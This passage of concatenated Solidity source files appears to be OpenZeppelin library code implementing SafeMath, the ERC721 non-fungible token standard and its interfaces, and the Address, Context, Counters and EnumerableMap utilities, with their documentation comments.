`-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC721.sol"; import "./IERC721Metadata.sol"; import "./IERC721Enumerable.sol"; import "./IERC721Receiver.sol"; import "../../introspection/ERC165.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; import "../../utils/EnumerableSet.sol"; import "../../utils/EnumerableMap.sol"; import "../../utils/Strings.sol"; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(base, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view virtual returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); // internal owner _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } /** * @dev Approve `to` to operate on `tokenId` * * Emits an {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "../../introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../math/SafeMath.sol"; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` * Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath} * overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never * directly accessed. */ library Counters { using SafeMath for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { // The {SafeMath} overflow check can be skipped here, see the comment at the top counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. */ function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key) return (true, map._entries[keyIndex - 